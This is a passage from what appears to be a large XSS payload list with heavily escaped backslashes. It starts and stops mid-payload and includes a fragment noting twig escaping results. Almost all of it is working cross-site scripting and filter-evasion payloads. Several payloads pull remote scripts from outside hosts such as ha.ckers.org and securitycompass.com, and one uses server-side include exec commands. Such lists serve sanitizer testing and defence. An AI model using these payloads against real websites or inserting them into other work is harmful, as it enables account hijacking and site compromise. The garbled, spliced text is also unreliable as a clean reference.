alert(\\\'XSS\\\'));\\\">\\r\\n<OBJECT TYPE=\\\"text/x-scriptlet\\\" DATA=\\\"http://hacker.com/xss.html\\\">\\r\\n<EMBED SRC=\\\"http://hacker.com/xss.swf\\\" AllowScriptAccess=\\\"always\\\">\\r\\n';alert(String.fromCharCode(88,83,83))//\\\\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\\\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>\\r\\n'';!--"<XSS>=&{()}\\r\\n<SCRIPT>alert('XSS')</SCRIPT>\\r\\n<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>\\r\\n<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>\\r\\n<BASE HREF="('XSS');//">\\r\\n<BGSOUND SRC="('XSS');">\\r\\n<BODY BACKGROUND="('XSS');">\\r\\n<BODY =alert('XSS')>\\r\\n<DIV STYLE="background-image: url(('XSS'))">\\r\\n<DIV STYLE="background-image: url(&#1;('XSS'))">\\r\\n<DIV STYLE="width: alert('XSS'));">\\r\\n<FRAMESET><FRAME SRC="('XSS');"></FRAMESET>\\r\\n<IFRAME SRC="('XSS');"></IFRAME>\\r\\n<INPUT TYPE="IMAGE" SRC="('XSS');">\\r\\n<IMG SRC="('XSS');">\\r\\n<IMG SRC=('XSS')>\\r\\n<IMG DYNSRC="('XSS');">\\r\\n<IMG LOWSRC="('XSS');">\\r\\n<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">\\r\\nRedirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser\\r\\nexp/*<XSS STYLE='no\\\\xss:noxss("*//*");\\r\\n<STYLE>li {list-style-image: url("('XSS')");}</STYLE><UL><LI>XSS\\r\\n<IMG SRC='("XSS")'>\\r\\n<LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER>\\r\\n<IMG SRC=";quot;>\\r\\n%BCscript%BEalert(%A2XSS%A2)%BC/script%BE\\r\\n<META HTTP-EQUIV="refresh" CONTENT="0;url=('XSS');">\\r\\n<META HTTP-EQUIV="refresh" CONTENT="0;url=PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">\\r\\n<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=('XSS');">\\r\\n<IMG SRC=";quot;>\\r\\n<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>\\r\\n<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=('XSS')></OBJECT>\\r\\n<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>\\r\\na="get";&#10;b="URL("";&#10;c=";quot;;&#10;d="alert('XSS');")"; eval(a+b+c+d);\\r\\n<STYLE TYPE="text/javascript">alert('XSS');</STYLE>\\r\\n<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">\\r\\n<XSS STYLE="xss:alert('XSS'))">\\r\\n<STYLE>.XSS{background-image:url("('XSS')");}</STYLE><A CLASS=XSS></A>\\r\\n<STYLE type="text/css">BODY{background:url("('XSS')")}</STYLE>\\r\\n<LINK REL="stylesheet" HREF="('XSS');">\\r\\n<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">\\r\\n<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>\\r\\n<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">\\r\\n<STYLE>BODY{:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>\\r\\n<TABLE BACKGROUND="('XSS')"></TABLE>\\r\\n<TABLE><TD BACKGROUND="('XSS')"></TD></TABLE>\\r\\n<HTML xmlns:xss>\\r\\n<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>\\r\\n<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>\\r\\n<XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML>\\r\\n<HTML><BODY>\\r\\n<!--[if gte IE 4]> \\r\\n<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">\\r\\n<XSS STYLE="(http://ha.ckers.org/xss.htc);">\\r\\n<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>\\r\\n<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"-->\\r\\n<? echo('<SCR)';\\r\\n<BR SIZE="&{alert('XSS')}">\\r\\n<IMG SRC=('XSS')>\\r\\n<IMG SRC=(&quot;XSS&quot;)>\\r\\n<IMG SRC=`("RSnake says, 'XSS'")`>\\r\\n<IMG SRC=(String.fromCharCode(88,83,83))>\\r\\n<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>\\r\\n<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>\\r\\n<DIV STYLE="background-image:\\\\0075\\\\0072\\\\006C\\\\0028'\\\\006a\\\\0061\\\\0076\\\\0061\\\\0073\\\\0063\\\\0072\\\\0069\\\\0070\\\\0074\\\\003a\\\\0061\\\\006c\\\\0065\\\\0072\\\\0074\\\\0028.1027\\\\0058.1053\\\\0053\\\\0027\\\\0029'\\\\0029">\\r\\n<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>\\r\\n<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>\\r\\n\\\\";alert('XSS');//\\r\\n</TITLE>\\r\\n<STYLE>@im\\\\port'\\\\ja\\\\vasc\\\\ript:alert("XSS")';</STYLE>\\r\\n\\ HREF="http://66.102.7.147/">XSS\\r\\nXSS\\r\\nXSS\\r\\nXSS\\r\\nXSS\\r\\nXSS\\r\\nXSS\\r\\nXSS\\r\\nXSS\\r\\nXSS\\r\\nXSS\\r\\nXSS\\r\\nXSS\\r\\nXSS\\r\\ndocument.vulnerable=true;\\r\\n<img SRC=\\\";\\\">\\r\\n<img SRC=\\\";\\\">\\r\\n<img SRC=\\\" ;\\\">\\r\\n<body !#$%&()*~+-_.,:;?@[/|\\\\]^`=document.vulnerable=true;>\\r\\n<document.vulnerable=true;//<\\r\\n<script <B>document.vulnerable=true;\\r\\n<img SRC=\\\";\\\"\\r\\n<iframe src=\\\"; <\\r\\na=/XSS/\\\\ndocument.vulnerable=true;\\r\\n\\\\\\\";document.vulnerable=true;;//\\r\\n</title>document.vulnerable=true;\\r\\n<input TYPE=\\\"IMAGE\\\" SRC=\\\";\\\">\\r\\n<body BACKGROUND=\\\";\\\">\\r\\n<body =document.vulnerable=true;>\\r\\n<img DYNSRC=\\\";\\\">\\r\\n<img LOWSRC=\\\";\\\">\\r\\n<bgsound SRC=\\\";\\\">\\r\\n<br SIZE=\\\"&{document.vulnerable=true}\\\">\\r\\n<LAYER SRC=\\\";\\\"></LAYER>\\r\\n<link REL=\\\"stylesheet\\\" HREF=\\\";\\\">\\r\\n<style>li {list-style-image: url(\\\";\\\");</STYLE><UL><LI>XSS\\r\\n<img SRC=\\\';\\\'>\\r\\n1script3document.vulnerable=true;1/script3\\r\\n<meta HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"0;url=;\\\">\\r\\n<meta HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"0; URL=http://;URL=;\\\">\\r\\n<IFRAME SRC=\\\";\\\"></iframe>\\r\\n<FRAMESET><FRAME SRC=\\\";\\\"></frameset>\\r\\n<table BACKGROUND=\\\";\\\">\\r\\n<table><TD BACKGROUND=\\\";\\\">\\r\\n<div STYLE=\\\"background-image: url(;)\\\">\\r\\n<div STYLE=\\\"background-image: url(;)\\\">\\r\\n<div STYLE=\\\"width: document.vulnerable=true);\\\">\\r\\n<style>@im\\\\port\\\'\\\\ja\\\\vasc\\\\ript:document.vulnerable=true\\\';</style>\\r\\n<img STYLE=\\\"xss:expr/*XSS*/ession(document.vulnerable=true)\\\">\\r\\n<XSS STYLE=\\\"xss:document.vulnerable=true)\\\">\\r\\nexp/*<A STYLE=\\\'no\\\\xss:noxss(\\\"*//*\\\");xss:ex/*XSS*//*/*/pression(document.vulnerable=true)\\\'>\\r\\n<style TYPE=\\\"text/javascript\\\">document.vulnerable=true;</style>\\r\\n<style>.XSS{background-image:url(\\\"\\\");}</STYLE><A CLASS=XSS></a>\\r\\n<style type=\\\"text/css\\\">BODY{background:url(\\\"\\\")}</style>\\r\\n<!--[if gte IE 4]>document.vulnerable=true;<![endif]-->\\r\\n<base HREF=\\\";//\\\">\\r\\n<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=;</object>\\r\\n<XML ID=I><X><C><![<IMG SRC=\\\"javas]]<![cript:document.vulnerable=true;\\\">]]</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></span>\\r\\n<XML ID=\\\"xss\\\"><I><B><IMG SRC=\\\"javas<!-- -->cript:document.vulnerable=true\\\"></B></I></XML><SPAN DATASRC=\\\"#xss\\\" DATAFLD=\\\"B\\\" DATAFORMATAS=\\\"HTML\\\"></span>\\r\\n<html><BODY><?xml:namespace prefix=\\\"t\\\" ns=\\\"urn:schemas-microsoft-com:time\\\"><?import namespace=\\\"t\\\" implementation=\\\"#default#time2\\\"><t:set attributeName=\\\"innerHTML\\\" to=\\\"XSS<SCRIPT DEFER>document.vulnerable=true\\\"></BODY></html>\\r\\n<? echo(\\\'<SCR)\\\';echo(\\\'IPT>document.vulnerable=true\\\'); ?>\\r\\n<meta HTTP-EQUIV=\\\"Set-Cookie\\\" Content=\\\"USERID=document.vulnerable=true\\\">\\r\\n<head><META HTTP-EQUIV=\\\"CONTENT-TYPE\\\" CONTENT=\\\"text/html; charset=UTF-7\\\"> </HEAD>\\r\\n<a href=\\\"javascript#document.vulnerable=true;\\\">\\r\\n<div =\\\"document.vulnerable=true;\\\">\\r\\n<img src=\\\";\\\">\\r\\n<img dynsrc=\\\";\\\">\\r\\n<input type=\\\"image\\\" dynsrc=\\\";\\\">\\r\\n<bgsound src=\\\";\\\">\\r\\n&document.vulnerable=true;\\r\\n&{document.vulnerable=true;};\\r\\n<img src=&{document.vulnerable=true;};>\\r\\n<link rel=\\\"stylesheet\\\" href=\\\";\\\">\\r\\n<iframe src=\\\";\\\">\\r\\n<img src=\\\";\\\">\\r\\n<img src=\\\";\\\">\\r\\n<a href=\\\"about:document.vulnerable=true;\\\">\\r\\n<meta http-equiv=\\\"refresh\\\" content=\\\"0;url=;\\\">\\r\\n<body =\\\"document.vulnerable=true;\\\">\\r\\n<div style=\\\"background-image: url(;);\\\">\\r\\n<div style=\\\"behaviour: url([link to code]);\\\">\\r\\n<div style=\\\"binding: url([link to code]);\\\">\\r\\n<div style=\\\"width: document.vulnerable=true;);\\\">\\r\\n<style type=\\\"text/javascript\\\">document.vulnerable=true;</style>\\r\\n<object classid=\\\"clsid:...\\\" codebase=\\\";\\\">\\r\\n<style><!--</style>document.vulnerable=true;//-->\\r\\n<document.vulnerable=true;\\r\\n<![<!--]]document.vulnerable=true;//-->\\r\\n<!-- -- -->document.vulnerable=true;<!-- -- -->\\r\\n<img src=\\\"blah\\\"=\\\"document.vulnerable=true;\\\">\\r\\n<img src=\\\"blah>\\\" =\\\"document.vulnerable=true;\\\">\\r\\n<xml src=\\\";\\\">\\r\\n<xml id=\\\"X\\\"><a><b>document.vulnerable=true;;</b></a></xml>\\r\\n<div datafld=\\\"b\\\" dataformatas=\\\"html\\\" datasrc=\\\"#X\\\"></div>\\r\\n[\\\\xC0][\\\\xBC]script>document.vulnerable=true;[\\\\xC0][\\\\xBC]/script>\\r\\n<style>@import\\\'http://www.securitycompass.com/xss.css\\\';</style>\\r\\n<meta HTTP-EQUIV=\\\"Link\\\" Content=\\\"<http://www.securitycompass.com/xss.css>; REL=stylesheet\\\">\\r\\n<style>BODY{:url(\\\"http://www.securitycompass.com/xssmoz.xml#xss\\\")}</style>\\r\\n<OBJECT TYPE=\\\"text/x-scriptlet\\\" DATA=\\\"http://www.securitycompass.com/scriptlet.html\\\"></object>\\r\\n<HTML xmlns:xss><?import namespace=\\\"xss\\\" implementation=\\\"http://www.securitycompass.com/xss.htc\\\"><xss:xss>XSS</xss:xss></html>\\r\\n<script SRC=\\\"http://www.securitycompass.com/xss.jpg\\\">\\r\\n<!--#exec cmd=\\\"/bin/echo \\\'<SCR\\\'\\\"--><!--#exec cmd=\\\"/bin/echo \\\'IPT SRC=http://www.securitycompass.com/xss.js>\\\'\\\"-->\\r\\n<script a=\\\">\\\" SRC=\\\"http://www.securitycompass.com/xss.js\\\">\\r\\n<script =\\\">\\\" SRC=\\\"http://www.securitycompass.com/xss.js\\\">\\r\\n<script a=\\\">\\\" \\\'\\\' SRC=\\\"http://www.securitycompass.com/xss.js\\\">\\r\\n<script \\\"a=\\\'>\\\'\\\" SRC=\\\"http://www.securitycompass.com/xss.js\\\">\\r\\n<script a=`>` SRC=\\\"http://www.securitycompass.com/xss.js\\\">\\r\\n<script a=\\\">\\\'>\\\" SRC=\\\"http://www.securitycompass.com/xss.js\\\">\\r\\n(\\\"<SCRI\\\");PT SRC=\\\"http://www.securitycompass.com/xss.js\\\">\\r\\n<div style=\\\"binding: url(http://www.securitycompass.com/xss.js);\\\"> [Mozilla]\\r\\n"><BODY !#$%&()*~+-_.,:;?@[/|\\\\]^`=alert("XSS")>\\r\\n\\r\\n\\r\\n
\\r\\nperl -e 'print \\\\"\\\\";' > out\\r\\nperl -e 'print \\\\"
by 11 | at 2021-08-19 09:46:32
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
<input value=\\\"``>result with twig: {{ xss.xss | escape }}:
<b <script>alert(1)</script>0\\r\\n<div id=\\\"div1\\\"><input value=\\\"``onmouseover=javascript:alert(1)\\\"></div> <div id=\\\"div2\\\"></div><script>document.getElementById(\\\"div2\\\").innerHTML = document.getElementById(\\\"div1\\\").innerHTML;</script>\\r\\n<x \\\'=\\\"foo\\\"><x foo=\\\'><img src=x onerror=javascript:alert(1)//\\\'>\\r\\n<embed src=\\\"javascript:alert(1)\\\">\\r\\n<img src=\\\"javascript:alert(1)\\\">\\r\\n<image src=\\\"javascript:alert(1)\\\">\\r\\n<script src=\\\"javascript:alert(1)\\\">\\r\\n<div style=width:1px;filter:glow onfilterchange=javascript:alert(1)>x\\r\\n<? foo=\\\"><script>javascript:alert(1)</script>\\\">\\r\\n<! foo=\\\"><script>javascript:alert(1)</script>\\\">\\r\\n</ foo=\\\"><script>javascript:alert(1)</script>\\\">\\r\\n<? foo=\\\"><x foo=\\\'?><script>javascript:alert(1)</script>\\\'>\\\">\\r\\n<! foo=\\\"[[[Inception]]\\\"><x foo=\\\"]foo><script>javascript:alert(1)</script>\\\">\\r\\n<% foo><x foo=\\\"%><script>javascript:alert(1)</script>\\\">\\r\\n<div id=d><x xmlns=\\\"><iframe onload=javascript:alert(1)\\\"></div> <script>d.innerHTML=d.innerHTML</script>\\r\\n<img \\\\x00src=x onerror=\\\"alert(1)\\\">\\r\\n<img \\\\x47src=x onerror=\\\"javascript:alert(1)\\\">\\r\\n<img \\\\x11src=x onerror=\\\"javascript:alert(1)\\\">\\r\\n<img \\\\x12src=x onerror=\\\"javascript:alert(1)\\\">\\r\\n<img\\\\x47src=x onerror=\\\"javascript:alert(1)\\\">\\r\\n<img\\\\x10src=x onerror=\\\"javascript:alert(1)\\\">\\r\\n<img\\\\x13src=x onerror=\\\"javascript:alert(1)\\\">\\r\\n<img\\\\x32src=x onerror=\\\"javascript:alert(1)\\\">\\r\\n<img\\\\x47src=x onerror=\\\"javascript:alert(1)\\\">\\r\\n<img\\\\x11src=x onerror=\\\"javascript:alert(1)\\\">\\r\\n<img \\\\x47src=x onerror=\\\"javascript:alert(1)\\\">\\r\\n<img \\\\x34src=x onerror=\\\"javascript:alert(1)\\\">\\r\\n<img \\\\x39src=x onerror=\\\"javascript:alert(1)\\\">\\r\\n<img \\\\x00src=x onerror=\\\"javascript:alert(1)\\\">\\r\\n<img src\\\\x09=x onerror=\\\"javascript:alert(1)\\\">\\r\\n<img src\\\\x10=x onerror=\\\"javascript:alert(1)\\\">\\r\\n<img src\\\\x13=x onerror=\\\"javascript:alert(1)\\\">\\r\\n<img src\\\\x32=x onerror=\\\"javascript:alert(1)\\\">\\r\\n<img src\\\\x12=x onerror=\\\"javascript:alert(1)\\\">\\r\\n<img src\\\\x11=x onerror=\\\"javascript:alert(1)\\\">\\r\\n<img src\\\\x00=x onerror=\\\"javascript:alert(1)\\\">\\r\\n<img src\\\\x47=x onerror=\\\"javascript:alert(1)\\\">\\r\\n<img src=x\\\\x09onerror=\\\"javascript:alert(1)\\\">\\r\\n<img src=x\\\\x10onerror=\\\"javascript:alert(1)\\\">\\r\\n<img src=x\\\\x11onerror=\\\"javascript:alert(1)\\\">\\r\\n<img src=x\\\\x12onerror=\\\"javascript:alert(1)\\\">\\r\\n<img src=x\\\\x13onerror=\\\"javascript:alert(1)\\\">\\r\\n<img[a][b][c]src[d]=x[e]onerror=[f]\\\"alert(1)\\\">\\r\\n<img src=x onerror=\\\\x09\\\"javascript:alert(1)\\\">\\r\\n<img src=x onerror=\\\\x10\\\"javascript:alert(1)\\\">\\r\\n<img src=x onerror=\\\\x11\\\"javascript:alert(1)\\\">\\r\\n<img src=x onerror=\\\\x12\\\"javascript:alert(1)\\\">\\r\\n<img src=x onerror=\\\\x32\\\"javascript:alert(1)\\\">\\r\\n<img src=x onerror=\\\\x00\\\"javascript:alert(1)\\\">\\r\\n<a href=javascript:javascript:alert(1)>XXX</a>\\r\\n<img src=\\\"x` `<script>javascript:alert(1)</script>\\\"` `>\\r\\n<img src onerror /\\\" \\\'\\\"= alt=javascript:alert(1)//\\\">\\r\\n<title onpropertychange=javascript:alert(1)></title><title title=>\\r\\n<a href=http://foo.bar/#x=`y></a><img alt=\\\"`><img src=x:x onerror=javascript:alert(1)></a>\\\">\\r\\n<!--[if]><script>javascript:alert(1)</script -->\\r\\n<!--[if<img src=x onerror=javascript:alert(1)//]> -->\\r\\n<script src=\\\"/\\\\%(jscript)s\\\"></script>\\r\\n<script src=\\\"\\\\\\\\%(jscript)s\\\"></script>\\r\\n<object id=\\\"x\\\" classid=\\\"clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598\\\"></object> <object classid=\\\"clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B\\\" onqt_error=\\\"javascript:alert(1)\\\" style=\\\"behavior:url(#x);\\\"><param name=postdomevents /></object>\\r\\n<a style=\\\"-o-link:\\\'javascript:javascript:alert(1)\\\';-o-link-source:current\\\">X\\r\\n<style>p[foo=bar{}*{-o-link:\\\'javascript:javascript:alert(1)\\\'}{}*{-o-link-source:current}]{color:red};</style>\\r\\n<link rel=stylesheet href=data:,*%7bx:expression(javascript:alert(1))%7d\\r\\n<style>@import \\\"data:,*%7bx:expression(javascript:alert(1))%7D\\\";</style>\\r\\n<a style=\\\"pointer-events:none;position:absolute;\\\"><a style=\\\"position:absolute;\\\" onclick=\\\"javascript:alert(1);\\\">XXX</a></a><a href=\\\"javascript:javascript:alert(1)\\\">XXX</a>\\r\\n<style>*[{}@import\\\'%(css)s?]</style>X\\r\\n<div style=\\\"font-family:\\\'foo ;color:red;\\\';\\\">XXX\\r\\n<div style=\\\"font-family:foo}color=red;\\\">XXX\\r\\n<// style=x:expression\\\\28javascript:alert(1)\\\\29>\\r\\n<style>*{x:ｅｘｐｒｅｓｓｉｏｎ(javascript:alert(1))}</style>\\r\\n<div style=content:url(%(svg)s)></div>\\r\\n<div style=\\\"list-style:url(http://foo.f)\\\\20url(javascript:javascript:alert(1));\\\">X\\r\\n<div id=d><div style=\\\"font-family:\\\'sans\\\\27\\\\3B color\\\\3Ared\\\\3B\\\'\\\">X</div></div> <script>with(document.getElementById(\\\"d\\\"))innerHTML=innerHTML</script>\\r\\n<div style=\\\"background:url(/f#oo/;color:red/*/foo.jpg);\\\">X\\r\\n<div style=\\\"font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);\\\">X\\r\\n<div id=\\\"x\\\">XXX</div> <style> #x{font-family:foo[bar;color:green;} #y];color:red;{} </style>\\r\\n<x style=\\\"background:url(\\\'x;color:red;/*\\\')\\\">XXX</x>\\r\\n<script>({set/**/$($){_/**/setter=$,_=javascript:alert(1)}}).$=eval</script>\\r\\n<script>({0:#0=eval/#0#/#0#(javascript:alert(1))})</script>\\r\\n<script>ReferenceError.prototype.__defineGetter__(\\\'name\\\', function(){javascript:alert(1)}),x</script>\\r\\n<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._(\\\'javascript:alert(1)\\\')()</script>\\r\\n<meta charset=\\\"x-imap4-modified-utf7\\\">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi\\r\\n<meta charset=\\\"x-imap4-modified-utf7\\\">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>\\r\\n<meta charset=\\\"mac-farsi\\\">¼script¾javascript:alert(1)¼/script¾\\r\\nX<x style=`behavior:url(#default#time2)` onbegin=`javascript:alert(1)` >\\r\\n1<set/xmlns=`urn:schemas-microsoft-com:time` style=`behAvior:url(#default#time2)` attributename=`innerhtml` to=`<img/src="x"onerror=javascript:alert(1)>`>\\r\\n1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=<img/src="."onerror=javascript:alert(1)>>\\r\\n<vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=%(vml)s#xss></vmlframe>\\r\\n1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:javascript:alert(1) strokecolor=white strokeweight=1000px from=0 to=1000 /></a>\\r\\n<a style=\\\"behavior:url(#default#AnchorClick);\\\" folder=\\\"javascript:javascript:alert(1)\\\">XXX</a>\\r\\n<x style=\\\"behavior:url(%(sct)s)\\\">\\r\\n<xml id=\\\"xss\\\" src=\\\"%(htc)s\\\"></xml> <label dataformatas=\\\"html\\\" datasrc=\\\"#xss\\\" datafld=\\\"payload\\\"></label>\\r\\n<event-source src=\\\"%(event)s\\\" onload=\\\"javascript:alert(1)\\\">\\r\\n<a href=\\\"javascript:javascript:alert(1)\\\"><event-source src=\\\"data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A\\\">\\r\\n<div id=\\\"x\\\">x</div> <xml:namespace prefix=\\\"t\\\"> <import namespace=\\\"t\\\" implementation=\\\"#default#time2\\\"> <t:set attributeName=\\\"innerHTML\\\" targetElement=\\\"x\\\" to=\\\"<imgsrc=x:xonerror=javascript:alert(1)>\\\">\\r\\n<script>%(payload)s</script>\\r\\n<script src=%(jscript)s></script>\\r\\n<script language=\\\'javascript\\\' src=\\\'%(jscript)s\\\'></script>\\r\\n<script>javascript:alert(1)</script>\\r\\n<IMG SRC=\\\"javascript:javascript:alert(1);\\\">\\r\\n<IMG SRC=javascript:javascript:alert(1)>\\r\\n<IMG SRC=`javascript:javascript:alert(1)`>\\r\\n<SCRIPT SRC=%(jscript)s?<B>\\r\\n<FRAMESET><FRAME SRC=\\\"javascript:javascript:alert(1);\\\"></FRAMESET>\\r\\n<BODY ONLOAD=javascript:alert(1)>\\r\\n<BODY ONLOAD=javascript:javascript:alert(1)>\\r\\n<IMG SRC=\\\"jav ascript:javascript:alert(1);\\\">\\r\\n<BODY onload!#$%%&()*~+-_.,:;?@[/|\\\\]^`=javascript:alert(1)>\\r\\n<SCRIPT/SRC=\\\"%(jscript)s\\\"></SCRIPT>\\r\\n<<SCRIPT>%(payload)s//<</SCRIPT>\\r\\n<IMG SRC=\\\"javascript:javascript:alert(1)\\\"\\r\\n<iframe src=%(scriptlet)s <\\r\\n<INPUT TYPE=\\\"IMAGE\\\" SRC=\\\"javascript:javascript:alert(1);\\\">\\r\\n<IMG DYNSRC=\\\"javascript:javascript:alert(1)\\\">\\r\\n<IMG LOWSRC=\\\"javascript:javascript:alert(1)\\\">\\r\\n<BGSOUND SRC=\\\"javascript:javascript:alert(1);\\\">\\r\\n<BR SIZE=\\\"&{javascript:alert(1)}\\\">\\r\\n<LAYER SRC=\\\"%(scriptlet)s\\\"></LAYER>\\r\\n<LINK REL=\\\"stylesheet\\\" HREF=\\\"javascript:javascript:alert(1);\\\">\\r\\n<STYLE>@import\\\'%(css)s\\\';</STYLE>\\r\\n<META HTTP-EQUIV=\\\"Link\\\" Content=\\\"<%(css)s>; REL=stylesheet\\\">\\r\\n<XSS STYLE=\\\"behavior: url(%(htc)s);\\\">\\r\\n<STYLE>li {list-style-image: url(\\\"javascript:javascript:alert(1)\\\");}</STYLE><UL><LI>XSS\\r\\n<META HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"0;url=javascript:javascript:alert(1);\\\">\\r\\n<META HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"0; URL=http://;URL=javascript:javascript:alert(1);\\\">\\r\\n<IFRAME SRC=\\\"javascript:javascript:alert(1);\\\"></IFRAME>\\r\\n<TABLE BACKGROUND=\\\"javascript:javascript:alert(1)\\\">\\r\\n<TABLE><TD BACKGROUND=\\\"javascript:javascript:alert(1)\\\">\\r\\n<DIV STYLE=\\\"background-image: url(javascript:javascript:alert(1))\\\">\\r\\n<DIV STYLE=\\\"width:expression(javascript:alert(1));\\\">\\r\\n<IMG STYLE=\\\"xss:expr/*XSS*/ession(javascript:alert(1))\\\">\\r\\n<XSS STYLE=\\\"xss:expression(javascript:alert(1))\\\">\\r\\n<STYLE TYPE=\\\"text/javascript\\\">javascript:alert(1);</STYLE>\\r\\n<STYLE>.XSS{background-image:url(\\\"javascript:javascript:alert(1)\\\");}</STYLE><A CLASS=XSS></A>\\r\\n<STYLE type=\\\"text/css\\\">BODY{background:url(\\\"javascript:javascript:alert(1)\\\")}</STYLE>\\r\\n<!--[if gte IE 4]><SCRIPT>javascript:alert(1);</SCRIPT><![endif]-->\\r\\n<BASE HREF=\\\"javascript:javascript:alert(1);//\\\">\\r\\n<OBJECT TYPE=\\\"text/x-scriptlet\\\" DATA=\\\"%(scriptlet)s\\\"></OBJECT>\\r\\n<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:javascript:alert(1)></OBJECT>\\r\\n<HTML xmlns:xss><?import namespace=\\\"xss\\\" implementation=\\\"%(htc)s\\\"><xss:xss>XSS</xss:xss></HTML>\\\"\\\"\\\",\\\"XML namespace.\\\"),(\\\"\\\"\\\"<XML ID=\\\"xss\\\"><I><B><IMG SRC=\\\"javas<!-- -->cript:javascript:alert(1)\\\"></B></I></XML><SPAN DATASRC=\\\"#xss\\\" DATAFLD=\\\"B\\\" DATAFORMATAS=\\\"HTML\\\"></SPAN>\\r\\n<HTML><BODY><?xml:namespace prefix=\\\"t\\\" ns=\\\"urn:schemas-microsoft-com:time\\\"><?import namespace=\\\"t\\\" implementation=\\\"#default#time2\\\"><t:set attributeName=\\\"innerHTML\\\" to=\\\"XSS<SCRIPT DEFER>javascript:alert(1)</SCRIPT>\\\"></BODY></HTML>\\r\\n<SCRIPT SRC=\\\"%(jpg)s\\\"></SCRIPT>\\r\\n<HEAD><META HTTP-EQUIV=\\\"CONTENT-TYPE\\\" CONTENT=\\\"text/html; charset=UTF-7\\\"> </HEAD>+ADw-SCRIPT+AD4-%(payload)s;+ADw-/SCRIPT+AD4-\\r\\n<form id=\\\"test\\\" /><button form=\\\"test\\\" formaction=\\\"javascript:javascript:alert(1)\\\">X\\r\\n<body onscroll=javascript:alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\\r\\n<P STYLE=\\\"behavior:url(\\\'#default#time2\\\')\\\" end=\\\"0\\\" onEnd=\\\"javascript:alert(1)\\\">\\r\\n<STYLE>@import\\\'%(css)s\\\';</STYLE>\\r\\n<STYLE>a{background:url(\\\'s1\\\' \\\'s2)}@import javascript:javascript:alert(1);\\\');}</STYLE>\\r\\n<meta charset= \\\"x-imap4-modified-utf7\\\"&&>&&<script&&>javascript:alert(1)&&;&&<&&/script&&>\\r\\n<SCRIPT onreadystatechange=javascript:javascript:alert(1);></SCRIPT>\\r\\n<style onreadystatechange=javascript:javascript:alert(1);></style>\\r\\n<?xml version=\\\"1.0\\\"?><html:html xmlns:html=\\\'http://www.w3.org/1999/xhtml\\\'><html:script>javascript:alert(1);</html:script></html:html>\\r\\n<embed code=%(scriptlet)s></embed>\\r\\n<embed code=javascript:javascript:alert(1);></embed>\\r\\n<embed src=%(jscript)s></embed>\\r\\n<frameset onload=javascript:javascript:alert(1)></frameset>\\r\\n<object onerror=javascript:javascript:alert(1)>\\r\\n<embed type=\\\"image\\\" src=%(scriptlet)s></embed>\\r\\n<XML ID=I><X><C><![CDATA[<IMG 